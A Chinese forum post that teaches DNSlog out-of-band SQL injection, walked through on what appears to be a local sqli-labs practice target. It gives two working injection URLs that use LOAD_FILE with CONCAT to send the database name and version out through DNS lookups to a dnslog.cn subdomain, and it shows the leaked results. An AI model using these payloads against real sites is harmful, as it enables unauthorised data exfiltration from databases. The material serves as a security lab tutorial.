电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2773 人浏览分享

DNSlog 注入

[复制链接]
2773 0
Dns是域名解析系统,当我们在浏览器请求www.baidu.com时 dns服务器会找到与www.baidu.com域名对应的ip
并返回给浏览器,使浏览器可以访问这台服务器上对应的服务。
dnslog就是存储在dns 服务器上的域名解析记录,dnslog记录着浏览器对域名访问的信息。
dnslog注入使用场景:当web应用程序有sql注入漏洞时,且页面无回显,利用盲注二分法发送大量请求容易被防守方检测设备检
测到流量,可能会被封ip,在这种情况下我们可以使用dnslog注入 把请求的内容外带出来,通过查询dnslog得到想要的结果。
使用Dnslog注入的条件:
1 用户具有文件读写权限
2 可以使用union查询
3知道要读文件的绝对路径
(1)查询用户的文件权限

154655ufak8mleft06lt66.png

(2)在www.dnslog.cn平台上获取一个子域名

154718bv5b5l8sklsytrxt.png

(3)结合load_file()函数进行文件读取,查询当前数据库名
http://192.168.233.129/sql/Less-1/?id=-1%27%20and%20(SELECT%20LOAD_FILE(CONCAT(%2
7\\\\%27,(SELECT%20database()),%27.12pesk.dnslog.cn\\abc%27)))%20--+

69.png

(4)在dnslog日志中查询到当前数据库为security

68.png

(5)查询当前数据库版本
http://192.168.233.129/sql/Less-1/?id=-1%27%20and%20(SELECT%20LOAD_FILE(CONCAT(%27\\\\%
27,(SELECT%20version()),%27.m94np7.dnslog.cn\\abc%27)))%20--+

67.png

(6)在dnslog日志中查询到当前数据库版本为5.5.47

66.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.